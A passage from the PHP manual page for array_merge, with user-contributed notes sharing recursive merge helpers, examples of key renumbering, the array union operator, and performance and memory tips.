 * case with array_merge, i.e.:
 *
 * array_merge_recursive_distinct(array('key' => 'org value'), array('key' => 'new value'));
 *     => array('key' => array('new value'));
 *
 * Parameters are passed by reference, though only for performance reasons. They're not
 * altered by this function.
 *
 * @param array $array1
 * @param mixed $array2
 * @return array
 * @author daniel@danielsmedegaardbuus.dk
 */
function &array_merge_recursive_distinct(array &$array1, &$array2 = null)
{
  $merged = $array1;

  if (is_array($array2))
    foreach ($array2 as $key => $val)
      if (is_array($array2[$key]))
        $merged[$key] = is_array($merged[$key]) ? array_merge_recursive_distinct($merged[$key], $array2[$key]) : $array2[$key];
      else
        $merged[$key] = $val;

  return $merged;
}
?>
miniscalope at gmail dot com 04-Feb-2009 12:56
I would merge 2 arrays but keep the values unique in the result array.
I hope this will help...
<?php

function array_merge_recursive_unique($array1, $array2) {

    foreach($array2 AS $k => $v) {
        if(!isset($array1[$k]))
        {
            $array1[$k] = $v;
        }
        else
        {
            if(!is_array($v)){
                if(is_array($array1[$k]))
                {
                    if(!in_array($v,$array1[$k]))
                    {
                        $array1[$k][] = $v;
                    }
                }
                else
                {
                    if($array1[$k] != $v)
                        $array1[$k] = array($array1[$k], $v);
                 }
            }
            else
            {
                $array1[$k] =    array_merge_recursive_unique($array1,$array2[$k]);
            }

        }

    }
      unset($k, $v);
      return $array1;
}

?>
remy dot damour at -please-no-spam-laposte dot net 21-Jan-2009 03:28
If what you want is merge all values of your array that are arrays themselves to get a resulting array of depth one, then you're more looking for array_flatten function.

Unfortunately I did not find such native function in php, here is the one I wrote:

<?php
/**
 * Flatten an array so that resulting array is of depth 1.
 * If any value is an array itself, it is merged by parent array, and so on.
 *
 * @param array $array
 * @param bool $preserver_keys OPTIONAL When true, keys are preserved when mergin nested arrays (=> values with same key get overwritten)
 * @return array
 */
function array_flatten($array, $preserve_keys = false)
{
    if (!$preserve_keys) {
        // ensure keys are numeric values to avoid overwritting when array_merge gets called
        $array = array_values($array);
    }

    $flattened_array = array();
    foreach ($array as $k => $v) {
        if (is_array($v)) {
            $flattened_array = array_merge($flattened_array, call_user_func(__FUNCTION__, $v, $preserve_keys));
        } elseif ($preserve_keys) {
            $flattened_array[$k] = $v;
        } else {
            $flattened_array[] = $v;
        }
    }
    return $flattened_array;
}

// example
$a = array ('k1' => 'a', 'k2' => array('k1' => 'b', 'k4' => array('k3' => 'c')));
var_export(array_flatten($a)); // output: array(0 => 'a', 1 => 'b', 2 => 'c')
var_export(array_flatten($a, true)); // output: array('k1' => 'b', 'k3' => 'c') // first 'k1' value gets overwritten by nested 'k1' value
?>
phil dot kemmeter at gmail dot com 08-Dec-2008 07:45
I've edit this version even a little bit more, so that the function does not override any values, but inserts them at a free key in the array:

function my_array_merge ($arr,$ins) {
    if(is_array($arr))
    {
        if(is_array($ins)) foreach($ins as $k=>$v)
        {
            if(isset($arr[$k])&&is_array($v)&&is_array($arr[$k]))
            {
                $arr[$k] = my_array_merge($arr[$k],$v);
            }
            else {
                // This is the new loop :)
                while (isset($arr[$k]))
                    $k++;
                $arr[$k] = $v;
            }
        }
    }
    elseif(!is_array($arr)&&(strlen($arr)==0||$arr==0))
    {
        $arr=$ins;
    }
    return($arr);
}

Example:

$array1 = array(
    100 => array(30),
    200 => array(20, 30)
);

$array2 = array(
    100 => array(40),
    201 => array(60, 30)
);

print_r(my_array_merge($array1,$array2));

Output with array_merge_recursive:
Array
(
    [0] => Array
        (
            [0] => 30
        )

    [1] => Array
        (
            [0] => 20
            [1] => 30
        )

    [2] => Array
        (
            [0] => 40
        )

)
This is not the result, I expect from a MERGE-Routine...

Output with the current function:

Array
(
    [100] => Array
        (
            [0] => 30
            [1] => 40
        )

    [200] => Array
        (
            [0] => 20
            [1] => 30
        )

)

This is what I want :)
scott dot clark at vizioninteractive dot com 28-Aug-2008 10:55
Needed some way to fuse two arrays together and found a function here (below from thomas) and decided to update it even further to be a little more smart.

<?php
function my_array_merge ($arr,$ins)
    {
        if(is_array($arr))
            {
                if(is_array($ins)) foreach($ins as $k=>$v)
                    {
                        if(isset($arr[$k])&&is_array($v)&&is_array($arr[$k]))
                            {
                                $arr[$k] = my_array_merge($arr[$k],$v);
                            }
                        else $arr[$k] = $v;
                    }
            }
        elseif(!is_array($arr)&&(strlen($arr)==0||$arr==0))
            {
                $arr=$ins;
            }
        return($arr);
    }
?>
thomas at n-o-s-p-a-m dot thoftware dot de 05-May-2008 03:50
This is a simple, three line approach.

Short description: If one of the Arguments isn't an Array, first Argument is returned. If an Element is an Array in both Arrays, Arrays are merged recursively, otherwise the element in $ins will overwrite the element in $arr (regardless if key is numeric or not). This also applys to Arrays in $arr, if the Element is scalar in $ins (in difference to the previous approach).

  function array_insert($arr,$ins) {
    # Loop through all Elements in $ins:
    if (is_array($arr) && is_array($ins)) foreach ($ins as $k => $v) {
      # Key exists in $arr and both Elemente are Arrays: Merge recursively.
      if (isset($arr[$k]) && is_array($v) && is_array($arr[$k])) $arr[$k] = array_insert($arr[$k],$v);
      # Place more Conditions here (see below)
      # ...
      # Otherwise replace Element in $arr with Element in $ins:
      else $arr[$k] = $v;
    }
    # Return merged Arrays:
    return($arr);
  }

In Addition to felix dot ospald at gmx dot de in my opinion there is no need to compare keys with type-casting, as a key always is changed into an integer if it could be an integer. Just try

$a = array('1'=>'1');
echo gettype(key($a));

It will echo 'integer'. So for having Integer-Keys simply appended instead of replaced, add the Line:

  elseif (is_int($k)) $arr[] = $v;

A Condition I used is:

  elseif (is_null($v)) unset($arr[$k]);

So a NULL-Value in $ins will unset the correspondig Element in $arr (which is different to setting it to NULL!). This may be another Addition to felix dot ospald at gmx dot de: The absolute correct way to check for a Key existing in an Array is using array_key_exists() (not needed in the current context, as isset() is combined with is_array()). array_key_exists() will return TRUE even if the Value of the Element is NULL.

And the last one: If you want to use this approach for more than 2 Arrays, simply use this:

  function array_insert_mult($arr) {
    # More than 1 Argument: Append all Arguments.
    if (func_num_args() > 1) foreach (array_slice(func_get_args(),1) as $ins) $arr = array_insert($arr,$ins);
    # Return merged Arrays:
    return($arr);
  }

And if you worry about maintaining References: Simply use $ins[$k] instead of $v when assigning a Value/using a Value as Argument.
felix dot ospald at gmx dot de 26-Feb-2008 08:23
If you desire correct and performant behaviour (in contrast to the other postings) use this code. It works as documented above.
If you want that keys are always perserved and not appended or renumbered if they are numeric comment out the "if (((string) $key) === ((string) intval($key)))" case.
@spambegone at cratemedia dot com: using empty is not right way to check if an item is in the array use isset!

<?php

function array_merge_recursive2($array1, $array2)
{
    $arrays = func_get_args();
    $narrays = count($arrays);

    // check arguments
    // comment out if more performance is necessary (in this case the foreach loop will trigger a warning if the argument is not an array)
    for ($i = 0; $i < $narrays; $i ++) {
        if (!is_array($arrays[$i])) {
            // also array_merge_recursive returns nothing in this case
            trigger_error('Argument #' . ($i+1) . ' is not an array - trying to merge array with scalar! Returning null!', E_USER_WARNING);
            return;
        }
    }

    // the first array is in the output set in every case
    $ret = $arrays[0];

    // merege $ret with the remaining arrays
    for ($i = 1; $i < $narrays; $i ++) {
        foreach ($arrays[$i] as $key => $value) {
            if (((string) $key) === ((string) intval($key))) { // integer or string as integer key - append
                $ret[] = $value;
            }
            else { // string key - megre
                if (is_array($value) && isset($ret[$key])) {
                    // if $ret[$key] is not an array you try to merge an scalar value with an array - the result is not defined (incompatible arrays)
                    // in this case the call will trigger an E_USER_WARNING and the $ret[$key] will be null.
                    $ret[$key] = array_merge_recursive2($ret[$key], $value);
                }
                else {
                    $ret[$key] = $value;
                }
            }
        }
    }

    return $ret;
}

// Examples:

print_r(array_merge_recursive2(array('A','B','C' => array(1,2,3)), array('D','C' => array(1,4))));
/*
Array
(
    [0] => A
    [1] => B
    [C] => Array
        (
            [0] => 1
            [1] => 2
            [2] => 3
            [3] => 1
            [4] => 4
        )
    [2] => D
)*/

print_r(array_merge_recursive2(array('A','B','0' => array(1,2,3)), array('D','0' => array(1,array(4)))));
/*
Array
(
    [0] => Array
        (
            [0] => 1
            [1] => 2
            [2] => 3
        )
    [1] => B
    [2] => Array
        (
            [0] => 1
            [1] => Array
                (
                    [0] => 4
                )
        )
)*/

print_r(array_merge_recursive2(array('A' => array('A' => 1)), array('A' => array('A' => array(2)))));
/*
Warning: Argument #1 is not an array - trying to merge array with scalar! Returning null! in ... on line ...
*/

var_dump(array_merge_recursive2(array('A' => array('A' => 2)), array('A' => array('A' => null))));
/*
array(1) { ["A"]=>  array(1) { ["A"]=>  NULL } }
*/

?>
spambegone at cratemedia dot com 12-Feb-2008 11:06
I've tried these array_merge_recursive functions without much success. Maybe it's just me but they don't seem to actually go more than one level deep? As with all things, its usually easier to write your own, which I did and it seems to work just the way I wanted. Anyways, my function hasn't been tested extensively, but it's a simple function, so in hopes that this might be useful to someone else I'm sharing.

Also, the PHP function array_merge_recursive() didn't work for my purposes because it didn't overwrite the values like I needed it to. You know how it works, it just turns it into an array with multiple values... not helpful if your code is expecting one string.

function array_merge_recursive_unique($array1, $array2) {

    // STRATEGY
    /*
    Merge array1 and array2, overwriting 1st array values with 2nd array
    values where they overlap. Use array1 as the base array and then add
    in values from array2 as they exist.

    Walk through each value in array2 and see if a value corresponds
    in array1. If it does, overwrite with second array value. If it's an
    array, recursively execute this function and return the value. If it's
    a string, overwrite the value from array1 with the value from array2.

    If a value exists in array2 that is not found in array1, add it to array1.
    */

    // LOOP THROUGH $array2
    foreach($array2 AS $k => $v) {

        // CHECK IF VALUE EXISTS IN $array1
        if(!empty($array1[$k])) {
            // IF VALUE EXISTS CHECK IF IT'S AN ARRAY OR A STRING
            if(!is_array($array2[$k])) {
                // OVERWRITE IF IT'S A STRING
                $array1[$k]=$array2[$k];
            } else {
                // RECURSE IF IT'S AN ARRAY
                $array1[$k] = array_merge_recursive_unique($array1[$k], $array2[$k]);
            }
        } else {
            // IF VALUE DOESN'T EXIST IN $array1 USE $array2 VALUE
            $array1[$k]=$v;
        }
    }
    unset($k, $v);

    return $array1;
}
paha at paha dot hu 12-Mar-2007 09:02
In this version the values are overwritten only if they are not an array.  If the value is an array, its elements will be merged/overwritten:

// array_merge_recursive which override value with next value.
// based on: http://www.php.net/manual/hu/function.array-merge-recursive.php 09-Dec-2006 03:38
function array_merge_recursive_unique($array0, $array1)
{
    $arrays = func_get_args();
    $remains = $arrays;

    // We walk through each arrays and put value in the results (without
    // considering previous value).
    $result = array();

    // loop available array
    foreach($arrays as $array) {

        // The first remaining array is $array. We are processing it. So
        // we remove it from remaing arrays.
        array_shift($remains);

        // We don't care non array param, like array_merge since PHP 5.0.
        if(is_array($array)) {
            // Loop values
            foreach($array as $key => $value) {
                if(is_array($value)) {
                    // we gather all remaining arrays that have such key available
                    $args = array();
                    foreach($remains as $remain) {
                        if(array_key_exists($key, $remain)) {
                            array_push($args, $remain[$key]);
                        }
                    }

                    if(count($args) > 2) {
                        // put the recursion
                        $result[$key] = call_user_func_array(__FUNCTION__, $args);
                    } else {
                        foreach($value as $vkey => $vval) {
                            $result[$key][$vkey] = $vval;
                        }
                    }
                } else {
                    // simply put the value
                    $result[$key] = $value;
                }
            }
        }
    }
    return $result;
}
randallgirard at hotmail dot com 26-Nov-2006 10:18
I wrote the following for merging arrays, in my project mainly for configuration... Thought someone else might find it usefull.

function array_merge_recursive_keys( $first, $second, $greedy=false) {
   $inter = array_intersect_assoc(array_keys($first), array_keys($second)); # shaired keys
# the idea next, is to strip and append from $second into $first
   foreach ( $inter as $key ) {
   # recursion if both are arrays
      if ( is_array($first[$key]) && is_array($second[$key]) ) {
         $first[$key] = array_merge_recursive_keys($first[$key], $second[$key]);
      }
   # non-greedy array merging:
      else if ( is_array($first[$key] && !$greedy ) ) {
         $first[$key][] = $second[$key];
      }
      else if ( is_array($second[$key]) && !$greedy ) {
         $second[$key][] = $first[$key];
         $first[$key] = $second[$key];
      }
   # overwrite...
      else {
         $first[$key] = $second[$key];
      }
      unset($second[$key]);
   }
# merge the unmatching keys onto first
   return array_merge($first, $second);
}
thiago dot mata at yahoo dot com dot br 30-Sep-2006 09:25
<?php
    function array_merge_recursive_keep_keys( $arrElement1 , $arrElement2 , $intCount = 0 )
    {

        $arrNew = array();

        $arrElement1Keys = array_keys( $arrElement1 );
        $arrElement2Keys = array_keys( $arrElement2 );

        $arrDifKeys1 = array_diff( $arrElement1Keys, $arrElement2Keys );
        $arrDifKeys2 = array_diff( $arrElement2Keys, $arrElement1Keys );
        $arrInter     = array_intersect( $arrElement1Keys , $arrElement2Keys );

        foreach( $arrDifKeys1 as $strKey1)
        {
            $arrNew[ $strKey1 ] = $arrElement1[ $strKey1 ];
        }
        foreach( $arrDifKeys2 as $strKey2)
        {
            $arrNew[ $strKey2 ] = $arrElement2[ $strKey2 ];
        }
        foreach( $arrInter as $strInterKey )
        {
            if( is_array( $arrElement1[ $strInterKey ] ) && is_array( $arrElement2[ $strInterKey ] ) )
            {
                $intCount++;
                $arrNew[ $strInterKey ] = array_merge_recursive_keep_keys( $arrElement1[ $strInterKey ] , $arrElement2[ $strInterKey ] , $intCount );
            }
            elseif( is_array( $arrElement1[ $strInterKey ] ) || is_array( $arrElement2[ $strInterKey ] ) )
            {
                $arrNew[ $strInterKey ][]    =  $arrElement1[ $strInterKey ];
                $arrNew[ $strInterKey ][]    =  $arrElement2[ $strInterKey ];
            }
            else
            {
                $arrNew[ $strInterKey ] = array();
                $arrNew[ $strInterKey ][] = $arrElement1[ $strInterKey ];
                $arrNew[ $strInterKey ][] = $arrElement2[ $strInterKey ];
            }
        }
        return $arrNew;
    }
?>
smilingrasta 07-Jul-2006 07:04
This function tends to reindex arrays, which is not  mentioned in the function description.

I just tried to run that function on a three dimensional array, containing errormessages.
The first dim. contains the severity of the error ('warn', 'crit') the second dim the linenumber (numerical) and the third one consists of errormessages

<?php
# Array printout:
Array
 (
   [warn] => Array  // severity (associative)
    (
      [2] => Array  // linenumber (numerical)
       (
         [0] => "Category does not exist"
         [1] => "Manufacturer does not exist"
       )
    )
 )

?>

If i now merge two or more of those arrays using array_merge_recursive(), the linenumbers are not conserved. Instead of, they are all renumbered, starting with 0.

Just thought anyone may want to know about that. :)
regards, smilingrasta
manicdepressive at mindless dot com 22-Jun-2004 04:30
Please be aware that under circumstances where you have
both the key and value common between the two arrays at a given node,
array_merge_recursive() will behave differently if that value is NULL,
as opposed to a non-null value.

i.e., I expected the results of the first two sections below to
have the same structure, but they don't.
If this might apply to you, please see for yourself.

<pre><?php

$a1 = array('a'=>'b');
$a2 = array('a'=>'b');
$a3 = array_merge_recursive($a1,$a2);
var_export($a3);
echo "\n\n";

$a1 = array('a'=>NULL);
$a2 = array('a'=>NULL);
$a3 = array_merge_recursive($a1,$a2);
var_export($a3);
echo "\n\n";

$a1 = array('a'=>'b');
$a2 = array('a'=>NULL);
$a3 = array_merge_recursive($a1,$a2);
var_export($a3);
echo "\n\n";

?></pre>

This behavior also occurs if the value is the empty array.
In fact, in the above example, interchanging the empty array with
any and all occurences of NULL will yield the same result.

    code till dawn!  -mark
brian at vermonster dot com 25-May-2004 11:44
Here is a fairly simple function that replaces while recursing.

<?php
/**
 * array_merge_recursive2()
 *
 * Similar to array_merge_recursive but keyed-valued are always overwritten.
 * Priority goes to the 2nd array.
 *
 * @static yes
 * @public yes
 * @param $paArray1 array
 * @param $paArray2 array
 * @return array
 */
function array_merge_recursive2($paArray1, $paArray2)
{
    if (!is_array($paArray1) or !is_array($paArray2)) { return $paArray2; }
    foreach ($paArray2 AS $sKey2 => $sValue2)
    {
        $paArray1[$sKey2] = array_merge_recursive2(@$paArray1[$sKey2], $sValue2);
    }
    return $paArray1;
}

?>

Examples:
<?php

$array1 = array(
    'liquids' => array(
        'water' => array('cold', 'fizzy', 'clean')
        ,'beer' => 'warm'
    )
);

$array2 = array(
    'liquids' => array(
        'water' => 'hot'
        ,'milk' => 'wet'
    )
);

$result1 = array_merge_recursive2($array1, $array2);
$result2 = array_merge_recursive2($array2, $array1);
?>

Result 1 is:
Array
(
    [liquids] => Array
        (
            [water] => hot
            [beer] => warm
            [milk] => wet
        )
)

Result 2 is:
Array
(
    [liquids] => Array
        (
            [water] => Array
                (
                    [0] => cold
                    [1] => fizzy
                    [2] => clean
                )

            [milk] => wet
            [beer] => warm
        )
)
paska at kios dot sk 04-Mar-2004 11:18
This emulates replace of $_REQUEST according to variable_order=GPC.
<?
    function array_merge_replace($array, $newValues) {
        foreach ($newValues as $key => $value ) {
            if (is_array($value)) {
                if (!isset($array[$key])) {
                    $array[$key] = array();
                }
                $array[$key] = array_merge_replace($array[$key], $value);
            } else {
                $array[$key] = $value;
            }
        }
        return $array;
    }

    $_REQUEST = array_merge_replace($_REQUEST, $_GET);
    $_REQUEST = array_merge_replace($_REQUEST, $_POST);
    $_REQUEST = array_merge_replace($_REQUEST, $_COOKIE);
?>

Useful with stripping backslashes at beginning of main include file:
<?
if (get_magic_quotes_gpc() == 1) {

    function stripMagicSlashes($element) {
        if (is_array($element)) {
            return array_map("stripMagicSlashes", $element);
        } else {
            return stripslashes($element);
        }
    }

    function array_merge_replace($array, $newValues) {
        foreach ($newValues as $key => $value ) {
            if (is_array($value)) {
                if (!isset($array[$key])) {
                    $array[$key] = array();
                }
                $array[$key] = array_merge_replace($array[$key], $value);
            } else {
                $array[$key] = $value;
            }
        }
        return $array;
    }

    $_GET    = array_map("stripMagicSlashes", $_GET);
    $_POST   = array_map("stripMagicSlashes", $_POST);
    $_COOKIE = array_map("stripMagicSlashes", $_COOKIE);

    $_REQUEST = array_merge_replace($_REQUEST, $_GET);
    $_REQUEST = array_merge_replace($_REQUEST, $_POST);
    $_REQUEST = array_merge_replace($_REQUEST, $_COOKIE);

}

$GLOBALS['stripped'] = true;
?>

Based on examples from users from this site.


Merge one or more arrays

  • « array_merge_recursive
  • array_multisort »
  • PHP Manual
  • Array Functions
  • Merge one or more arrays

array_merge

(PHP 4, PHP 5)

array_merge — Merge one or more arrays

Description

array array_merge ( array $array1 [, array $... ] )

Merges the elements of one or more arrays together so that the values of one are appended to the end of the previous one. It returns the resulting array.

If the input arrays have the same string keys, then the later value for that key will overwrite the previous one. If, however, the arrays contain numeric keys, the later value will not overwrite the original value, but will be appended.

Values in the input array with numeric keys will be renumbered with incrementing keys starting from zero in the result array.

Parameters

array1

Initial array to merge.

...

Variable list of arrays to merge.

Return Values

Returns the resulting array.

Examples

Example #1 array_merge() example

<?php
$array1 = array("color" => "red", 2, 4);
$array2 = array("a", "b", "color" => "green", "shape" => "trapezoid", 4);
$result = array_merge($array1, $array2);
print_r($result);
?>

The above example will output:

Array
(
    [color] => green
    [0] => 2
    [1] => 4
    [2] => a
    [3] => b
    [shape] => trapezoid
    [4] => 4
)

Example #2 Simple array_merge() example

<?php
$array1 = array();
$array2 = array(1 => "data");
$result = array_merge($array1, $array2);
?>

Don't forget that numeric keys will be renumbered!

Array
(
    [0] => data
)

If you want to append array elements from the second array to the first array while not overwriting the elements from the first array and not re-indexing, use the + array union operator:

<?php
$array1 = array(0 => 'zero_a', 2 => 'two_a', 3 => 'three_a');
$array2 = array(1 => 'one_b', 3 => 'three_b', 4 => 'four_b');
$result = $array1 + $array2;
var_dump($result);
?>

The keys from the first array will be preserved. If an array key exists in both arrays, then the element from the first array will be used and the matching key's element from the second array will be ignored.

array(5) {
  [0]=>
  string(6) "zero_a"
  [2]=>
  string(5) "two_a"
  [3]=>
  string(7) "three_a"
  [1]=>
  string(5) "one_b"
  [4]=>
  string(6) "four_b"
}

Example #3 array_merge() with non-array types

<?php
$beginning = 'foo';
$end = array(1 => 'bar');
$result = array_merge((array)$beginning, (array)$end);
print_r($result);
?>

The above example will output:

    Array
    (
        [0] => foo
        [1] => bar
    )

See Also

  • array_merge_recursive() - Merge two or more arrays recursively
  • array_replace() - Replaces elements from passed arrays into the first array
  • array_combine() - Creates an array by using one array for keys and another for its values
  • array operators

User Contributed Notes

gj@php 01-Jul-2014 11:59
i did a small benchmark (on  PHP 5.3.3) comparing:
* using array_merge on numerically indexed arrays
* using a basic double loop to merge multiple arrays

the performance difference is huge:

<?php

require_once("./lib/Timer.php");

function method1($mat){
    $all=array();
    foreach($mat as $arr){
        $all=array_merge($all,$arr);
    }
    return $all;
}

function method2($mat){
    $all=array();
    foreach($mat as $arr){
        foreach($arr as $el){
            $all[]=$el;
        }
    }
    return $all;
}

function tryme(){
    $y=250; //#arrays
    $x=200; //size per array
    $mat=array();
    //build big matrix
    for($i=0;$i<$y;$i++){
        for($j=0;$j<$x;$j++){
            $mat[$i][$j]=rand(0,1000);
        }
    }

    $t=new Timer();
    method1($mat);
    $t->displayTimer();

    $t=new Timer();
    method2($mat);
    $t->displayTimer();

/*
output:
Script runtime: 2.36782 secs. Script runtime: 0.02137 sec.
*/

}

tryme();

?>

So that's more than a factor 100!!!!!
Angel I 12-Jun-2014 10:57
An addition to what Julian Egelstaff above wrote - the array union operation (+) is not doing an array_unique - it will just not use the keys that are already defined in the left array.  The difference between union and merge can be seen in an example like this:

<?php
$arr1['one'] = 'one';
$arr1['two'] = 'two';

$arr2['zero'] = 'zero';
$arr2['one'] = 'three';
$arr2['two'] = 'four';

$arr3 = $arr1 + $arr2;
var_export( $arr3 );
# array ( 'one' => 'one', 'two' => 'two', 'zero' => 'zero', )

$arr4 = array_merge( $arr1, $arr2 );
var_export( $arr4 );
# array ( 'one' => 'three', 'two' => 'four', 'zero' => 'zero', )
?>
php at metehanarslan dot com 11-Jun-2014 07:49
Sometimes you need to modify an array with another one here is my approach to replace an array's content recursively with delete opiton. Here i used "::delete::" as reserved word to delete items.

<?php
$person= array(
    "name" => "Metehan",
    "surname"=>"Arslan",
    "age"=>27,
    "mail"=>"hidden",
    "favs" => array(
        "language"=>"php",
        "planet"=>"mercury",
        "city"=>"istanbul")
);

$newdata = array(
    "age"=>28,
    "mail"=>"::delete::",
    "favs" => array(
        "language"=>"js",
        "planet"=>"mercury",
        "city"=>"shanghai")
);

print_r(array_overlay($person,$newdata));
// result: Array ( [name] => Metehan [surname] => Arslan [age] => 28 [favs] => Array ( [language] => js [planet] => mercury [city] => shanghai ) )

function array_overlay($a1,$a2)
{
    foreach($a1 as $k => $v) {
        if ($a2[$k]=="::delete::"){
            unset($a1[$k]);
            continue;
        };
        if(!array_key_exists($k,$a2)) continue;
        if(is_array($v) && is_array($a2[$k])){
            $a1[$k] = array_overlay($v,$a2[$k]);
        }else{
            $a1[$k] = $a2[$k];
        }

    }
    return $a1;
}
?>
rajaimranqamer at gmail dot com 28-May-2014 05:26
to get unique value from multi dimensional array use this instead of array_unique(), because array_unique() does not work on multidimensional:
array_map("unserialize", array_unique(array_map("serialize", $array)));
Hope this will help someone;
Example
$a=array(array('1'),array('2'),array('3'),array('4));
$b=array(array('2'),array('4'),array('6'),array('8));
$c=array_merge($a,$b);
then write this line to get unique values
$c=array_map("unserialize", array_unique(array_map("serialize", $c)));
print_r($c);
vladas dot dirzys at gmail dot com 21-Aug-2013 06:11
To combine several results (arrays):

<?php
$results = array(
    array(
        array('foo1'),
        array('foo2'),
    ),
    array(
        array('bar1'),
        array('bar2'),
    ),
);

$rows = call_user_func_array('array_merge', $results);
print_r($rows);
?>

The above example will output:

Array
(
    [0] => Array
        (
            [0] => foo1
        )

    [1] => Array
        (
            [0] => foo2
        )

    [2] => Array
        (
            [0] => bar1
        )

    [3] => Array
        (
            [0] => bar2
        )

)

However, example below helps to preserve numeric keys:

<?php
$results = array(
    array(
        123 => array('foo1'),
        456 => array('foo2'),
    ),
    array(
        321 => array('bar1'),
        654 => array('bar2'),
    ),
);

$rows = array();
foreach ($results as &$result) {
    $rows = $rows + $result; // preserves keys
}
print_r($rows);
?>

The above example will output:
Array
(
    [123] => Array
        (
            [0] => foo1
        )

    [456] => Array
        (
            [0] => foo2
        )

    [321] => Array
        (
            [0] => bar1
        )

    [654] => Array
        (
            [0] => bar2
        )
)
Janez R. 16-May-2013 05:38
Please note that -1 is a numeric key and will be reindexed.
Less obvious numeric keys are also '-1' (becomes -1) and -1.5 (becomes -1).

'-1a', however, is not a numeric key and you could exploit the fact that '-1a' == -1 evaluates to true in php (just a hint). But as this is not very efficient, operator + may be a better option.

<?php
$arr = array(-1=> "-1", '-2'=> "'-2'", -3.5=> "-3.5", '-4a'=> "'-4a'");
print_r(array(
    $arr,
    array_merge($arr,array()),
    '-1a' == -1,
));
?>

Result:

Array
(
    [0] => Array
        (
            [-1] => -1
            [-2] => '-2'
            [-3] => -3.5
            [-4a] => '-4a'
        )

    [1] => Array
        (
            [0] => -1
            [1] => '-2'
            [2] => -3.5
            [-4a] => '-4a'
        )

    [2] => 1
)
Gemorroj 14-May-2012 05:37
The function behaves differently with numbers more than PHP_INT_MAX
<?php
$arr1 = array('1234567898765432123456789' => 'dd');
$arr2 = array('123456789876543212345678' => 'ddd', '35' => 'xxx');
var_dump(array_merge($arr1, $arr2));
//
$arr1 = array('1234' => 'dd');
$arr2 = array('12345' => 'ddd', '35' => 'xxx');
var_dump(array_merge($arr1, $arr2));
?>
result:
array(3) {
  ["1234567898765432123456789"]=>
  string(2) "dd"
  ["123456789876543212345678"]=>
  string(3) "ddd"
  [0]=>
  string(3) "xxx"
}
array(3) {
  [0]=>
  string(2) "dd"
  [1]=>
  string(3) "ddd"
  [2]=>
  string(3) "xxx"
}
izhar_aazmi at gmail dot com 29-Feb-2012 05:54
The problem that the array keys are reindexed, and further not working on array values of type object or other mixed types.

Simply, I did this:

<?php
foreach($new as $k => $v)
{
    $old[$k] = $v;
}
// This will overwrite all values in OLD with any existing
// matching value in NEW
// And keep all non matching values from OLD intact.
// No reindexing, and complete overwrite
/// Working with all kind of data
?>
alejandro dot anv at gmail dot com 20-Feb-2012 08:26
WARNING: numeric subindexes are lost when merging arrays.

Check this example:

$a=array('abc'=>'abc','def'=>'def','123'=>'123','xyz'=>'xyz');
echo "a=";print_r($a);
$b=array('xxx'=>'xxx');
echo "b=";print_r($b);
$c=array_merge($a,$b);
echo "c=";print_r($c);

The result is this:

c=Array
(
    [abc] => abc
    [def] => def
    [0] => 123
    [xyz] => xyz
    [xxx] => xxx
)
njp AT o2 DOT pl 22-Nov-2011 01:45
Uniques values merge for array_merge function:

<?php
function array_unique_merge() {

        $variables = '$_'.implode(',$_',array_keys(func_get_args()));

        $func = create_function('$tab', ' list('.$variables.') = $tab; return array_unique(array_merge('.$variables.'));');

        return $func(func_get_args());
    }
?>

Doesn't work on objects.

Smarter way for uniques values merge array:

<?php
function array_unique_merge() {

       return array_unique(call_user_func_array('array_merge', func_get_args()));
   }
?>

Example 1:

$a = array(1,2);
$b = array(2,3,4);

array_unique_merge($a,$b);

Return:
array(1,2,3,4);

Example 2:

$a = array(1,2);
$b = array(2,3,4);
$c = array(2,3,4,5);

array_unique_merge($a,$b);

Return:
array(1,2,3,4,5);

Doesn't work on objects.
w_barath at hotmail dot com 05-Oct-2011 01:42
I keep seeing posts for people looking for a function to replace numeric keys.

No function is required for this, it is default behavior if the + operator:

<?php
$a=array(1=>"one", "two"=>2);
$b=array(1=>"two", "two"=>1, 3=>"three", "four"=>4);

print_r($a+$b);
?>

Array
(
    [1] => one
    [two] => 2
    [3] => three
    [four] => 4
)

How this works:

The + operator only adds unique keys to the resulting array.  By making the replacements the first argument, they naturally always replace the keys from the second argument, numeric or not! =)
craig ala craigatx.com 26-Oct-2010 07:25
Reiterating the notes about casting to arrays, be sure to cast if one of the arrays might be null:

<?php
header("Content-type:text/plain");
$a = array('zzzz', 'xxxx');
$b = array('mmmm','nnnn');

echo "1 ==============\r\n";
print_r(array_merge($a, $b));

echo "2 ==============\r\n";
$b = array();
print_r(array_merge($a, $b));

echo "3 ==============\r\n";
$b = null;
print_r(array_merge($a, $b));

echo "4 ==============\r\n";
$b = null;
print_r(array_merge($a, (array)$b));

echo "5 ==============\r\n";
echo is_null(array_merge($a, $b)) ? 'Result is null' : 'Result is not null';
?>

Produces:

1 ==============
Array
(
    [0] => zzzz
    [1] => xxxx
    [2] => mmmm
    [3] => nnnn
)
2 ==============
Array
(
    [0] => zzzz
    [1] => xxxx
)
3 ==============
4 ==============
Array
(
    [0] => zzzz
    [1] => xxxx
)
5 ==============
Result is null
nzujev [AT] gmail [DOT] com 03-Oct-2010 11:28
Be ready to surprise like this one.
array_merge renumbers numeric keys even if key is as string.
keys '1' & '2' will be updated to 0 & 1, but '1.1' & '1.2' remain the same, but they are numeric too (is_numeric('1.1') -> true)

It's better to use '+' operator or to have your own implementation for array_merge.

<?php

$x1 = array (
    '1'     => 'Value 1',
    '1.1'   => 'Value 1.1',
);

$x2 = array (
    '2'     => 'Value 2',
    '2.1'   => 'Value 2.1',
);

$x3 = array_merge( $x1, $x2 );

echo '<pre>NOT as expected: '. print_r( $x3, true ) .'</pre>';

$x3 = $x1 + $x2;

echo '<pre>As expected: '. print_r( $x3, true ) .'</pre>';

?>

NOT as expected: Array
(
    [0] => Value 1
    [1.1] => Value 1.1
    [1] => Value 2
    [2.1] => Value 2.1
)
As expected: Array
(
    [1] => Value 1
    [1.1] => Value 1.1
    [2] => Value 2
    [2.1] => Value 2.1
)
zagadka at evorg dot dk 20-Aug-2010 02:54
Note that if you use + to merge array in order to preserve keys, that in case of duplicates the values from the left array in the addition is used.
jpakin at gmail dot com 11-Jun-2010 08:46
I had a hard time using array_merge with large datasets. By the time my web framework was in memory there wasn't enough space to have multiple copies of my dataset. To fix this I had to remove any functions which operated on the data set and made a copy in memory (pass by value).

I realize the available memory to an application instance is modifiable, but I didn't think I should have to set it below the default 16mb for a web app!

Unfortunately, a number of php functions pass by value internally, so I had to write my own merge function. This passes by reference, utilizes a fast while loop (thus doesn't need to call count() to get an upper boundary, also a php pass by value culprit), and unsets the copy array (freeing memory as it goes).

<?php

function mergeArrays(&$sourceArray, &$copyArray){
